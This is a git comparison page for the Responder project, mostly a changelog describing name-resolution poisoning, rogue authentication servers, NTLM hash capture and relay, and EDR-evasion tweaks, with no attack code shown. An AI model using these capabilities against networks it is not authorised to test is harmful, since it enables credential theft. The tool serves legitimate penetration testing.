Compare commits

..

No commits in common. "master" and "v3.0.7.0" have entirely different histories.

47 changed files with 1127 additions and 2677 deletions

2
.github/FUNDING.yml vendored
View file

@ -1,2 +0,0 @@
github: lgandx
custom: 'https://paypal.me/PythonResponder'

6
.gitignore vendored
View file

@ -1,11 +1,5 @@
# Python artifacts
*.pyc
# Responder logs # Responder logs
*.db *.db
*.txt *.txt
*.log *.log
# Generated certificates and keys
certs/*.crt
certs/*.key

View file

@ -1,713 +0,0 @@
n.n.n / 2025-05-22
==================
* added check for aioquic & updated version to reflect recent changes
* Merge pull request #310 from ctjf/master
* Merge pull request #308 from BlWasp/error_code_returned
* Merge pull request #311 from stfnw/master
* DHCP poisoner: refactor FindIP
* added quic support based on xpn's work
* Indentation typos
* Add status code control
* Merge pull request #305 from L1-0/patch-1
* Update RPC.py
* Merge pull request #301 from q-roland/kerberos_relaying_llmnr
* Adding answer name spoofing capabilities when poisoning LLMNR for Kerberos relaying purpose
n.n.n / 2025-05-22
==================
* added check for aioquic & updated version to reflect recent changes
* Merge pull request #310 from ctjf/master
* Merge pull request #308 from BlWasp/error_code_returned
* Merge pull request #311 from stfnw/master
* DHCP poisoner: refactor FindIP
* added quic support based on xpn's work
* Indentation typos
* Add status code control
* Merge pull request #305 from L1-0/patch-1
* Update RPC.py
* Merge pull request #301 from q-roland/kerberos_relaying_llmnr
* Adding answer name spoofing capabilities when poisoning LLMNR for Kerberos relaying purpose
# Changelog
All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/)
and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html).
<!-- insertion marker -->
## Unreleased
<small>[Compare with latest](https://github.com/lgandx/Responder/compare/v3.1.4.0...HEAD)</small>
### Added
- Add options for poisoners ([807bd57](https://github.com/lgandx/Responder/commit/807bd57a96337ab77f2fff50729a6eb229e5dc37) by f3rn0s).
- Add randomness in TTL value to avoid some EDR detections ([f50f0be](https://github.com/lgandx/Responder/commit/f50f0be59c0de6fd0ff8eef62ba31db96815c878) by nodauf).
- added support for either resolv.conf or resolvectl ([1a2f2fd](https://github.com/lgandx/Responder/commit/1a2f2fdb22a2bf8b04e0ac99219831457b7ba43a) by lgandx).
### Fixed
- Fixed issue with smb signing detection ([413bc8b](https://github.com/lgandx/Responder/commit/413bc8be3169d215f7d5f251a78c8d8404e52f61) by lgandx).
- fixed minor bug ([e51f24e](https://github.com/lgandx/Responder/commit/e51f24e36c1f84bc995a690d385c506c35cc6175) by lgandx).
- Fixed bug when IPv6 is disabled via GRUB. ([fa297c8](https://github.com/lgandx/Responder/commit/fa297c8a16f605bdb731542c67280a4d8bc023c4) by lgandx).
### Removed
- removed debug string ([4b560f6](https://github.com/lgandx/Responder/commit/4b560f6e17493dcfc6bf653d0ebe0547a88735ac) by lgandx).
- removed bowser listener ([e564e51](https://github.com/lgandx/Responder/commit/e564e5159b9a1bfe3c5f1101b3ab11672e0fd46b) by lgandx).
<!-- insertion marker -->
## [v3.1.4.0](https://github.com/lgandx/Responder/releases/tag/v3.1.4.0) - 2024-01-04
<small>[Compare with v3.1.3.0](https://github.com/lgandx/Responder/compare/v3.1.3.0...v3.1.4.0)</small>
### Added
- added LDAPS listener ([6d61f04](https://github.com/lgandx/Responder/commit/6d61f0439c1779767c9ea9840ac433ed98e672cd) by exploide).
- added:error handling on exceptions. ([f670fba](https://github.com/lgandx/Responder/commit/f670fbaa7fcd3b072aef7cf29f43c1d76d6f13bf) by lgandx).
- Added full path to gen-self-sign-cert.sh ([69f431e](https://github.com/lgandx/Responder/commit/69f431e58f07c231e75a73b0782855e9277573ac) by kevintellier).
- add flag (-s) to enable smbv1scan ([cf0c4ee](https://github.com/lgandx/Responder/commit/cf0c4ee659779c027374155716f09b13cb41abb5) by requin).
- add hostname on smbv2 scan result ([709df2c](https://github.com/lgandx/Responder/commit/709df2c6e18ec2fa6647fdaaa4d9f9e2cb7920f8) by requin).
- Added dump by legacy protocols ([b8818ed](https://github.com/lgandx/Responder/commit/b8818ed0c47d9d615c4ba1dcff99e8d2d98296d5) by lgandx).
- added requirements.txt ([00d9d27](https://github.com/lgandx/Responder/commit/00d9d27089d8f02658b08f596d28d1722c276d57) by lgandx).
- Added: append .local TLD to DontRespondToNames + MDNS bug fix ([0bc226b](https://github.com/lgandx/Responder/commit/0bc226b4beaa84eb3ac26f5d563959ccf567262b) by lgandx).
- Added Quiet mode ([2cd66a9](https://github.com/lgandx/Responder/commit/2cd66a9b92aa6ca2b7fba0fea03b0a285c186683) by jb).
### Fixed
- Fixed issue in http srv, more hashes & signature reduction. ([66ee7f8](https://github.com/lgandx/Responder/commit/66ee7f8f08f57926f5b3694ffb9e87619eee576f) by lgandx).
- fixed a TypeError in MSSQLBrowser ([20cdd9c](https://github.com/lgandx/Responder/commit/20cdd9c7c23e620e3d530f76003b94407882e9cd) by exploide).
- fixed 'SyntaxWarning: invalid escape sequence' for Python 3.12+ ([e9bd8a4](https://github.com/lgandx/Responder/commit/e9bd8a43ef353a03ba9195236a3aa5faf3788faa) by exploide).
- fixed minor bug on py 3.10 ([31393c7](https://github.com/lgandx/Responder/commit/31393c70726206fc1056f76ef6b81a981d7954c5) by lgandx).
- fixed HTTP basic auth parsing when password contains colons ([dc33d1f](https://github.com/lgandx/Responder/commit/dc33d1f858e9bbc58ae8edf030dbfee208d748f1) by exploide).
- Fixing soft failure which results in missed SMTP credential interception ([34603ae](https://github.com/lgandx/Responder/commit/34603aed0aadfe3c3625ea729cbc9dc0f06e7e73) by Syntricks).
- Fixing collections import issue for /tools/MultiRelay/odict.py ([aa8d818](https://github.com/lgandx/Responder/commit/aa8d81861bcdfc3dbf253b617ec044fd4807e9d4) by Shutdown).
- Fixing import issue like in /tools/odict.py ([2c4cadb](https://github.com/lgandx/Responder/commit/2c4cadbf7dec6e26ec2494a0cfde38655f5bebaf) by Shutdown).
- fix typo of ServerTlype ([0c80b76](https://github.com/lgandx/Responder/commit/0c80b76f5758dfae86bf4924a49b29c31e2e77f8) by deltronzero).
- Fixed potential disruption on Proxy-Auth ([c51251d](https://github.com/lgandx/Responder/commit/c51251db5ff311743238b1675d52edb7c6849f00) by lgandx).
- fixed the RespondTo/DontRespondTo issue ([2765ef4](https://github.com/lgandx/Responder/commit/2765ef4e668bc3493924aae5032e3ec63078ac42) by lgandx).
### Removed
- removed patreon donation link. ([700b7d6](https://github.com/lgandx/Responder/commit/700b7d6222afe3c1d6fb17a0a522e1166e6ad025) by lgandx).
- removed useless string ([08e44d7](https://github.com/lgandx/Responder/commit/08e44d72acd563910c153749b3c204ce0304bdd1) by lgandx).
- removed debug ([4ea3d7b](https://github.com/lgandx/Responder/commit/4ea3d7b76554dee5160aaf76a0235074590284f8) by lgandx).
- Removed Patreon link ([8e12d2b](https://github.com/lgandx/Responder/commit/8e12d2bcfe11cc23e35ea678b9e4979856183d0e) by lgandx).
- Removed machine accounts dump, since they are not crackable ([c9b5dd0](https://github.com/lgandx/Responder/commit/c9b5dd040e27de95638b33da7a35e5187efb4aac) by lgandx).
## [v3.1.3.0](https://github.com/lgandx/Responder/releases/tag/v3.1.3.0) - 2022-07-26
<small>[Compare with v3.1.2.0](https://github.com/lgandx/Responder/compare/v3.1.2.0...v3.1.3.0)</small>
### Fixed
- Fixed: Warnings on python 3.10 ([9b1c99c](https://github.com/lgandx/Responder/commit/9b1c99ccd29890496b0194c061266997e28be4c0) by lgandx).
- Fix missing paren error ([0c7a3ff](https://github.com/lgandx/Responder/commit/0c7a3ffabeee77cb9f3d960168a357e9583b2f9f) by cweedon).
- Fix double logging of first hash or cleartext ([e7eb3bc](https://github.com/lgandx/Responder/commit/e7eb3bcce85c5d437082214c0e8044919cccee56) by Gustaf Blomqvist).
### Removed
- removed -r reference from help msg. ([983a1c6](https://github.com/lgandx/Responder/commit/983a1c6576cb7dfe6cabea93e56dc4f2c557621b) by lgandx).
- removed -r references ([03fa9a7](https://github.com/lgandx/Responder/commit/03fa9a7187c80586629c58a297d0d78f2f8da559) by lgandx).
## [v3.1.2.0](https://github.com/lgandx/Responder/releases/tag/v3.1.2.0) - 2022-02-12
<small>[Compare with v3.1.1.0](https://github.com/lgandx/Responder/compare/v3.1.1.0...v3.1.2.0)</small>
### Added
- added support for OPT EDNS ([5cf6922](https://github.com/lgandx/Responder/commit/5cf69228cf5ce4c0433904ee1d05955e8fd6f618) by lgandx).
### Fixed
- Fixed options formating in README ([f85ad77](https://github.com/lgandx/Responder/commit/f85ad77d595f5d79b86ddce843bc884f1ff4ac9e) by Andrii Nechytailov).
## [v3.1.1.0](https://github.com/lgandx/Responder/releases/tag/v3.1.1.0) - 2021-12-17
<small>[Compare with v3.0.9.0](https://github.com/lgandx/Responder/compare/v3.0.9.0...v3.1.1.0)</small>
### Added
- Added IPv6 support ([5d4510c](https://github.com/lgandx/Responder/commit/5d4510cc1d0479b13ece9d58ea60d187daf8cdab) by lgandx).
- added: dhcp inform ([3e8c9fd](https://github.com/lgandx/Responder/commit/3e8c9fdb0eceb3eb1f7c6dbc81502b340a5ca152) by lgandx).
- Added DHCP DNS vs DHCP WPAD ([76f6c88](https://github.com/lgandx/Responder/commit/76f6c88df31bbd59dc6dceba1b59251012e45f81) by lgandx).
- Added DHCP DNS vs WPAD srv injection ([9dc7798](https://github.com/lgandx/Responder/commit/9dc779869b5a47fdf26cf79a727ea4a853f0d129) by lgandx).
- Added date and time for each Responder session config log. ([bb17595](https://github.com/lgandx/Responder/commit/bb17595e3fc9fafa58c8979bebc395ed872ef598) by lgandx).
### Removed
- removed fingerprint.py ([0b56d6a](https://github.com/lgandx/Responder/commit/0b56d6aaeb00406b364cf152b258365393d64ccc) by lgandx).
## [v3.0.9.0](https://github.com/lgandx/Responder/releases/tag/v3.0.9.0) - 2021-12-10
<small>[Compare with v3.0.8.0](https://github.com/lgandx/Responder/compare/v3.0.8.0...v3.0.9.0)</small>
### Added
- added the ability to provide external IP on WPAD poison via DHCP ([ba885b9](https://github.com/lgandx/Responder/commit/ba885b9345024809555d1a2c1f8cc463870602bb) by lgandx).
- Added a check for MSSQL ([5680487](https://github.com/lgandx/Responder/commit/568048710f0cf5c04c53fd8e026fdd1b3f5c16e6) by lgandx).
### Fixed
- Fixed the ON/OFF for poisoners when in Analyze mode. ([3cd5140](https://github.com/lgandx/Responder/commit/3cd5140c800d8f4e9e8547e4137cafe33fc2f066) by lgandx).
### Removed
- Remove analyze mode on DNS since you need to ARP to get queries ([17e62bd](https://github.com/lgandx/Responder/commit/17e62bda1aed4884c1f08e514faba8c1e39b36ad) by lgandx).
## [v3.0.8.0](https://github.com/lgandx/Responder/releases/tag/v3.0.8.0) - 2021-12-03
<small>[Compare with v3.0.7.0](https://github.com/lgandx/Responder/compare/v3.0.7.0...v3.0.8.0)</small>
### Added
- Added DB for RunFinger results & Report ([f90b76f](https://github.com/lgandx/Responder/commit/f90b76fed202ee4a6e17a030151c8de4430717a8) by lgandx).
- added timeout option for fine tuning ([a462d1d](https://github.com/lgandx/Responder/commit/a462d1df061b214eebcabdbe3f95caa5dd8ea3c7) by lgandx).
- added DHCP db & updated the report script to reflect that ([1dfa997](https://github.com/lgandx/Responder/commit/1dfa997da8c0fa1e51a1be30b2a3d5f5d92f4b7f) by lgandx).
- Added support for single IP or range file. ([02fb3f8](https://github.com/lgandx/Responder/commit/02fb3f8978286a486d633a707889ea8992a7f43a) by lgandx).
### Fixed
- fix: DHCP now working on VPN interface ([88a2c6a](https://github.com/lgandx/Responder/commit/88a2c6a53b721da995fbbd8e5cd82fb40d4af268) by lgandx).
- Fixed a bug and increased speed. ([1b2a22f](https://github.com/lgandx/Responder/commit/1b2a22facfd54820cc5f8ebba06f5cd996e917dc) by lgandx).
### Removed
- Removed old DHCP script since its now a Responder module. ([d425783](https://github.com/lgandx/Responder/commit/d425783be994b0d2518633e4b93e13e305685e5b) by lgandx).
- removed default certs ([de778f6](https://github.com/lgandx/Responder/commit/de778f66982817f1149408bc2e080371d3d4a71d) by lgandx).
- Removed the static certs and added automatic cert generation ([21afd35](https://github.com/lgandx/Responder/commit/21afd357f828b586cfa96992c8c978024285b162) by lgandx).
- removed debug str ([826b5af](https://github.com/lgandx/Responder/commit/826b5af9e2e37d50afdd3eb3ee66121e6c81c2a2) by lgandx).
## [v3.0.7.0](https://github.com/lgandx/Responder/releases/tag/v3.0.7.0) - 2021-10-26
<small>[Compare with v3.0.6.0](https://github.com/lgandx/Responder/compare/v3.0.6.0...v3.0.7.0)</small>
### Added
- Added DHCP server ([c449b6b](https://github.com/lgandx/Responder/commit/c449b6bcb990959e352967b3842b09978b9b2729) by lgandx).
- Add --lm switch for ESS downgrade ([dcb80d9](https://github.com/lgandx/Responder/commit/dcb80d992e385a0f0fdd3f724a0b040a42439306) by Pixis).
- Add ESS disabling information ([51f8ab4](https://github.com/lgandx/Responder/commit/51f8ab43682973df32534ca97c99fb1318a0c77d) by Pixis).
- Add ESS downgrade parameter ([baf80aa](https://github.com/lgandx/Responder/commit/baf80aa4f0e1aaf9ee81ffe6b0b5089d39f42516) by pixis).
### Fixed
- fixed minor isse ([350058c](https://github.com/lgandx/Responder/commit/350058c1795e43c23950b6bd23c33f45795ec7cc) by lgandx).
## [v3.0.6.0](https://github.com/lgandx/Responder/releases/tag/v3.0.6.0) - 2021-04-19
<small>[Compare with v3.0.5.0](https://github.com/lgandx/Responder/compare/v3.0.5.0...v3.0.6.0)</small>
### Added
- Added WinRM rogue server ([8531544](https://github.com/lgandx/Responder/commit/85315442bd010dd61fcb62de8d6ca9cc969426ba) by lgandx).
## [v3.0.5.0](https://github.com/lgandx/Responder/releases/tag/v3.0.5.0) - 2021-04-17
<small>[Compare with v3.0.4.0](https://github.com/lgandx/Responder/compare/v3.0.4.0...v3.0.5.0)</small>
### Added
- Added dce-rpc module + enhancements + bug fix. ([e91e37c](https://github.com/lgandx/Responder/commit/e91e37c9749f58330e0d68ce062a48b100a2d09e) by lgandx).
### Removed
- removed addiontional RR on SRV answers ([027e6b9](https://github.com/lgandx/Responder/commit/027e6b95c3ca89367cb5123758c2fc29aba27a59) by lgandx).
## [v3.0.4.0](https://github.com/lgandx/Responder/releases/tag/v3.0.4.0) - 2021-04-12
<small>[Compare with v3.0.3.0](https://github.com/lgandx/Responder/compare/v3.0.3.0...v3.0.4.0)</small>
### Added
- Added DNS SRV handling for ldap/kerberos + LDAP netlogon ping ([1271b8e](https://github.com/lgandx/Responder/commit/1271b8e17983bd3969d951ce2b4c9b75600f94b9) by lgandx).
- added a check for exec file ([cc3a5b5](https://github.com/lgandx/Responder/commit/cc3a5b5cfffbb8e7430030aa66a2981feae7fe85) by lgandx).
- Added donation banner. ([8104139](https://github.com/lgandx/Responder/commit/8104139a3535a49caf7ec0ed64e8e33ea686494f) by lgandx).
- added donation address and minor typo ([06f9f91](https://github.com/lgandx/Responder/commit/06f9f91f118b0729a74d3c1810a493886655e6f1) by lgandx).
- added smb filetime support ([b0f044f](https://github.com/lgandx/Responder/commit/b0f044fe4e710597ae73e6f1af87ea246b0cd365) by lgandx).
### Removed
- removed FindSMB2UPTime.py since RunFinger already get this info ([6c51080](https://github.com/lgandx/Responder/commit/6c51080109fd8c9305021336c0dc8c72e01b5541) by lgandx).
- Removed MultiRelay binaries ([35b12b4](https://github.com/lgandx/Responder/commit/35b12b48323b1960960aba916334635d5a590875) by lgandx).
- Removed BindShell executable file ([5d762c4](https://github.com/lgandx/Responder/commit/5d762c4a550f2c578f4d7874f24563240276852d) by lgandx).
- Removed donation banner ([ccee87a](https://github.com/lgandx/Responder/commit/ccee87aa95f2ec16827592ba9d98c4895cec0cb9) by lgandx).
- removed verification ([dd1a674](https://github.com/lgandx/Responder/commit/dd1a67408081c94490a3263c46b2eb0b6107e542) by lgandx).
## [v3.0.3.0](https://github.com/lgandx/Responder/releases/tag/v3.0.3.0) - 2021-02-08
<small>[Compare with v3.0.2.0](https://github.com/lgandx/Responder/compare/v3.0.2.0...v3.0.3.0)</small>
### Added
- Added support for SMB2 signing ([24e7b7c](https://github.com/lgandx/Responder/commit/24e7b7c667c3c9feb1cd3a25b16bd8d9c2df5ec6) by lgandx).
- Added SMB2 support for RunFinger and various other checks. ([e24792d](https://github.com/lgandx/Responder/commit/e24792d7743dbf3a5c5ffac92113e36e5d682e42) by lgandx).
### Fixed
- Fix wrong syntax ([fb10d20](https://github.com/lgandx/Responder/commit/fb10d20ea387448ad084a57f5f4441c908fc53cc) by Khiem Doan).
- fix custom challenge in python3 ([7b47c8f](https://github.com/lgandx/Responder/commit/7b47c8fe4edcb53b035465985d92500b96fb1a84) by ThePirateWhoSmellsOfSunflowers).
- Fix typos in README ([12b796a](https://github.com/lgandx/Responder/commit/12b796a292b87be15ef8eec31cb276c447b9e8c8) by Laban Sköllermark).
## [v3.0.2.0](https://github.com/lgandx/Responder/releases/tag/v3.0.2.0) - 2020-09-28
<small>[Compare with v3.0.1.0](https://github.com/lgandx/Responder/compare/v3.0.1.0...v3.0.2.0)</small>
### Fixed
- Fixed LLMNR/NBT-NS/Browser issue when binding to a specific interface ([af7d27a](https://github.com/lgandx/Responder/commit/af7d27ac8cb3c2b0664a8b0a11940c0f3c25c891) by lgandx).
## [v3.0.1.0](https://github.com/lgandx/Responder/releases/tag/v3.0.1.0) - 2020-08-19
<small>[Compare with v3.0.0.0](https://github.com/lgandx/Responder/compare/v3.0.0.0...v3.0.1.0)</small>
### Added
- Added DNSUpdate.py, a small script to add DNS record to DC for gatering from different VLANs ([05617de](https://github.com/lgandx/Responder/commit/05617defefcd6954915d0b42d73d4ccfcccad2d4) by Sagar-Jangam).
### Fixed
- Fix encoding issue in Python 3 ([7420f62](https://github.com/lgandx/Responder/commit/7420f620825d5a5ae6dc68364a5680910f7f0512) by Sophie Brun).
## [v3.0.0.0](https://github.com/lgandx/Responder/releases/tag/v3.0.0.0) - 2020-01-09
<small>[Compare with v2.3.4.0](https://github.com/lgandx/Responder/compare/v2.3.4.0...v3.0.0.0)</small>
### Added
- Added py3 and py2 compatibility + many bugfix ([b510b2b](https://github.com/lgandx/Responder/commit/b510b2bb2523a3fe24953ac685e697914a60b26c) by lgandx).
## [v2.3.4.0](https://github.com/lgandx/Responder/releases/tag/v2.3.4.0) - 2019-08-17
<small>[Compare with v2.3.3.9](https://github.com/lgandx/Responder/compare/v2.3.3.9...v2.3.4.0)</small>
### Added
- Added RDP rogue server ([c52843a](https://github.com/lgandx/Responder/commit/c52843a5359a143c5a94a74c095d6ac4679cd4b1) by lgandx).
- Added proper changes to RunFinger (and is not checking for MS17-010 straight away) ([105502e](https://github.com/lgandx/Responder/commit/105502edd401615604e09a9a71a268252c82523d) by Paul A).
### Fixed
- Fix socket timeout on HTTP POST requests ([e7a787c](https://github.com/lgandx/Responder/commit/e7a787cbc4e01e92be6e062e94211dca644fae0c) by Crypt0-M3lon).
- fixed minor bugfix on recent merge ([38e721d](https://github.com/lgandx/Responder/commit/38e721da9826b95ed3599151559e8f8c535e4d6e) by lgandx).
- Fix multi HTTP responses ([defabfa](https://github.com/lgandx/Responder/commit/defabfa543f0b567d7e981003c7a00d7f02c3a16) by Clément Notin).
- Fix version number in settings.py ([621c5a3](https://github.com/lgandx/Responder/commit/621c5a3c125646c14db19fc48f30e4075102c929) by Clément Notin).
- Fixed some small typos in MS17-010 output ([daaf6f7](https://github.com/lgandx/Responder/commit/daaf6f7296ee754fe37b2382d0e459f7b6e74dcc) by Chris Maddalena).
### Removed
- removed debug string ([47e63ae](https://github.com/lgandx/Responder/commit/47e63ae4ec3266a35845d0bf116cf17fa0d17fd7) by lgandx).
## [v2.3.3.9](https://github.com/lgandx/Responder/releases/tag/v2.3.3.9) - 2017-11-20
<small>[Compare with v2.3.3.8](https://github.com/lgandx/Responder/compare/v2.3.3.8...v2.3.3.9)</small>
### Added
- Added: check for null sessions and MS17-010 ([b37f562](https://github.com/lgandx/Responder/commit/b37f56264a6b57faff81c12a8143662bf1ddb91d) by lgandx).
- Add ignore case on check body for html inject ([47c3115](https://github.com/lgandx/Responder/commit/47c311553eb38327622d5e6b25e20a662c31c30d) by Lionel PRAT).
- added support for plain auth ([207b0d4](https://github.com/lgandx/Responder/commit/207b0d455c95a5cd68fbfbbc022e5cc3cb41878f) by lgandx).
## [v2.3.3.8](https://github.com/lgandx/Responder/releases/tag/v2.3.3.8) - 2017-09-05
<small>[Compare with v2.3.3.7](https://github.com/lgandx/Responder/compare/v2.3.3.7...v2.3.3.8)</small>
### Changed
- Changed the complete LDAP parsing hash algo (ntlmv2 bug). ([679cf65](https://github.com/lgandx/Responder/commit/679cf65cff0c537b594d284cd01e2ea9c690d4ae) by lgandx).
## [v2.3.3.7](https://github.com/lgandx/Responder/releases/tag/v2.3.3.7) - 2017-09-05
<small>[Compare with v2.3.3.6](https://github.com/lgandx/Responder/compare/v2.3.3.6...v2.3.3.7)</small>
### Added
- Add in check for uptime since March 14th 2017, which could indicate the system is vulnerable to MS17-010 ([5859c31](https://github.com/lgandx/Responder/commit/5859c31e8ecf35c5b12ac653e8ab793bc9270604) by Matt Kelly).
- Add Microsoft SQL Server Browser responder ([bff935e](https://github.com/lgandx/Responder/commit/bff935e71ea401a4477004022623b1617ac090b3) by Matthew Daley).
- added: mimi32 cmd, MultiRelay random RPC & Namedpipe & latest mimikatz ([38219e2](https://github.com/lgandx/Responder/commit/38219e249e700c1b20317e0b96f4a120fdfafb98) by lgandx).
### Fixed
- Fixed various bugs and improved the LDAP module. ([be26b50](https://github.com/lgandx/Responder/commit/be26b504b5133c78158d9794cd361ce1a7418775) by lgandx).
- Fixed space typo in FindSMB2UPTime.py ([11c0096](https://github.com/lgandx/Responder/commit/11c00969c36b2ed51763ee6c975870b05e84cdcb) by myst404).
- Fixed instances of "CRTL-C" to "CTRL-C" ([44a4e49](https://github.com/lgandx/Responder/commit/44a4e495ccb21098c6b882feb25e636510fc72b9) by Randy Ramos).
## [v2.3.3.6](https://github.com/lgandx/Responder/releases/tag/v2.3.3.6) - 2017-03-29
<small>[Compare with v2.3.3.5](https://github.com/lgandx/Responder/compare/v2.3.3.5...v2.3.3.6)</small>
### Fixed
- Fixed bug in FindSMB2UPTime ([6f3cc45](https://github.com/lgandx/Responder/commit/6f3cc4564c9cf34b75ef5469fd54edd4b3004b54) by lgandx).
### Removed
- Removed Paypal donation link. ([b05bdca](https://github.com/lgandx/Responder/commit/b05bdcab9600ad4e7ef8b70e2d8ee1b03b8b442a) by lgandx).
## [v2.3.3.5](https://github.com/lgandx/Responder/releases/tag/v2.3.3.5) - 2017-02-18
<small>[Compare with v2.3.3.4](https://github.com/lgandx/Responder/compare/v2.3.3.4...v2.3.3.5)</small>
## [v2.3.3.4](https://github.com/lgandx/Responder/releases/tag/v2.3.3.4) - 2017-02-18
<small>[Compare with v2.3.3.3](https://github.com/lgandx/Responder/compare/v2.3.3.3...v2.3.3.4)</small>
### Added
- Added: Hashdump, Stats report ([21d48be](https://github.com/lgandx/Responder/commit/21d48be98fd30a9fd0747588cbbb070ed0ce100b) by lgandx).
- added `ip` commands in addition to ifconfig and netstat ([db61f24](https://github.com/lgandx/Responder/commit/db61f243c9cc3c9821703c78e780e745703c0bb3) by thejosko).
### Fixed
- fixed crash: typo. ([0642999](https://github.com/lgandx/Responder/commit/0642999741b02de79266c730cc262bb3345644f9) by lgandx).
- Fix for RandomChallenge function. Function getrandbits can return less than 64 bits, thus decode('hex') will crash with TypeError: Odd-length string ([de6e869](https://github.com/lgandx/Responder/commit/de6e869a7981d49725e791303bd16c4159d70880) by Gifts).
- Fix Proxy_Auth. Random challenge broke it. ([5a2ee18](https://github.com/lgandx/Responder/commit/5a2ee18bfaa66ff245747cf8afc114a9a894507c) by Timon Hackenjos).
## [v2.3.3.3](https://github.com/lgandx/Responder/releases/tag/v2.3.3.3) - 2017-01-03
<small>[Compare with v2.3.3.2](https://github.com/lgandx/Responder/compare/v2.3.3.2...v2.3.3.3)</small>
### Added
- Added: Random challenge for each requests (default) ([0d441d1](https://github.com/lgandx/Responder/commit/0d441d1899053fde6792288fc83be0c883df19f0) by lgandx).
## [v2.3.3.2](https://github.com/lgandx/Responder/releases/tag/v2.3.3.2) - 2017-01-03
<small>[Compare with v2.3.3.1](https://github.com/lgandx/Responder/compare/v2.3.3.1...v2.3.3.2)</small>
### Added
- Added: Random challenge for each requests (default) ([1d38cd3](https://github.com/lgandx/Responder/commit/1d38cd39af9154f5a9e898428de25fe0afa68d2f) by lgandx).
- Added paypal button ([17dc81c](https://github.com/lgandx/Responder/commit/17dc81cb6833a91300d0669398974f0ed9bc006e) by lgandx).
- Added: Scripting support. -c and -d command line switch ([ab2d890](https://github.com/lgandx/Responder/commit/ab2d8907f033384e593a38073e50604a834f4bf3) by lgandx).
- Added: BTC donation address ([730808c](https://github.com/lgandx/Responder/commit/730808c83c0c7f67370ceeff977b0e727eb28ea4) by lgandx).
### Removed
- Removed ThreadingMixIn. MultiRelay should process one request at the timeand queue the next ones. ([4a7499d](https://github.com/lgandx/Responder/commit/4a7499df039269094c718eb9e19760e79eea86f7) by lgandx).
## [v2.3.3.1](https://github.com/lgandx/Responder/releases/tag/v2.3.3.1) - 2016-10-18
<small>[Compare with v2.3.3.0](https://github.com/lgandx/Responder/compare/v2.3.3.0...v2.3.3.1)</small>
### Added
- Added: Logs dumped files for multiple targets ([d560105](https://github.com/lgandx/Responder/commit/d5601056b386a7ae3ca167f0562cbe87bf004c38) by lgandx).
### Fixed
- Fixed wrong challenge issue ([027f841](https://github.com/lgandx/Responder/commit/027f841cdf11fd0ad129825dcc70d6ac8b5d3983) by lgandx).
## [v2.3.3.0](https://github.com/lgandx/Responder/releases/tag/v2.3.3.0) - 2016-10-12
<small>[Compare with v2.3.2.8](https://github.com/lgandx/Responder/compare/v2.3.2.8...v2.3.3.0)</small>
### Added
- Added: Compability for Multi-Relay ([5b06173](https://github.com/lgandx/Responder/commit/5b0617361ede8df67caad4ca89723ad18a67fa53) by lgandx).
### Fixed
- Fix values for win98 and win10 (requested here: https://github.com/lgandx/Responder/pull/7/commits/d9d34f04cddbd666865089d809eb5b3d46dd9cd4) ([60c91c6](https://github.com/lgandx/Responder/commit/60c91c662607c3991cb760c7dd221e81cfb69518) by lgandx).
- Fixed the bind to interface issue (https://github.com/lgandx/Responder/issues/6) ([ce211f7](https://github.com/lgandx/Responder/commit/ce211f7fcfa7ea9e3431161fec5075ca63730070) by lgandx).
- fixed bug in hash parsing. ([0cf1087](https://github.com/lgandx/Responder/commit/0cf1087010088ef1c3fecc7d2ad851c7c49d0639) by lgandx).
### Changed
- Changed to executable ([3e46ecd](https://github.com/lgandx/Responder/commit/3e46ecd27e53c58c3dc38888a2db1d3340a5a3ab) by lgandx).
## [v2.3.2.8](https://github.com/lgandx/Responder/releases/tag/v2.3.2.8) - 2016-10-06
<small>[Compare with v2.3.2.7](https://github.com/lgandx/Responder/compare/v2.3.2.7...v2.3.2.8)</small>
### Added
- Added: Now delete services on the fly. ([c6e401c](https://github.com/lgandx/Responder/commit/c6e401c2290fbb6c68bbc396915ea3fa7b11b5f0) by lgandx).
## [v2.3.2.7](https://github.com/lgandx/Responder/releases/tag/v2.3.2.7) - 2016-10-05
<small>[Compare with v2.3.2.6](https://github.com/lgandx/Responder/compare/v2.3.2.6...v2.3.2.7)</small>
### Added
- Added: Possibility to target all users. use 'ALL' with -u ([d81ef9c](https://github.com/lgandx/Responder/commit/d81ef9c33ab710f973c68f60cd0b7960f9e4841b) by lgandx).
### Fixed
- Fixed minor bug ([7054c60](https://github.com/lgandx/Responder/commit/7054c60f38cafc7e1c4d8a6ce39e12afbfc8b482) by lgandx).
## [v2.3.2.6](https://github.com/lgandx/Responder/releases/tag/v2.3.2.6) - 2016-10-05
<small>[Compare with v2.3.2.5](https://github.com/lgandx/Responder/compare/v2.3.2.5...v2.3.2.6)</small>
## [v2.3.2.5](https://github.com/lgandx/Responder/releases/tag/v2.3.2.5) - 2016-10-03
<small>[Compare with v2.3.2.4](https://github.com/lgandx/Responder/compare/v2.3.2.4...v2.3.2.5)</small>
### Added
- Added logs folder. ([cd09e19](https://github.com/lgandx/Responder/commit/cd09e19a9363867a75d7db1dea4830969bc0d68e) by lgandx).
- Added: Cross-protocol NTLMv1-2 relay (beta). ([ab67070](https://github.com/lgandx/Responder/commit/ab67070a2b82e94f2abb506a69f8fa8c0dc09852) by lgandx).
### Removed
- Removed logs folder. ([5d83778](https://github.com/lgandx/Responder/commit/5d83778ac7caba920874dc49f7523c6ef80b6d7b) by lgandx).
## [v2.3.2.4](https://github.com/lgandx/Responder/releases/tag/v2.3.2.4) - 2016-09-12
<small>[Compare with v2.3.2.3](https://github.com/lgandx/Responder/compare/v2.3.2.3...v2.3.2.4)</small>
## [v2.3.2.3](https://github.com/lgandx/Responder/releases/tag/v2.3.2.3) - 2016-09-12
<small>[Compare with v2.3.2.2](https://github.com/lgandx/Responder/compare/v2.3.2.2...v2.3.2.3)</small>
### Added
- Added new option in Responder.conf. Capture multiple hashes from the same client. Default is On. ([35d933d](https://github.com/lgandx/Responder/commit/35d933d5964df607ec714ced93e4cb197ff2bfe7) by lgandx).
## [v2.3.2.2](https://github.com/lgandx/Responder/releases/tag/v2.3.2.2) - 2016-09-12
<small>[Compare with v2.3.2.1](https://github.com/lgandx/Responder/compare/v2.3.2.1...v2.3.2.2)</small>
### Added
- Added support for webdav, auto credz. ([ad9ce6e](https://github.com/lgandx/Responder/commit/ad9ce6e659ffd9dd31714260f906c8de02223398) by lgandx).
- Added option -e, specify an external IP address to redirect poisoned traffic to. ([04c270f](https://github.com/lgandx/Responder/commit/04c270f6b75cd8eb833cca3b71965450d925e6ac) by lgandx).
### Removed
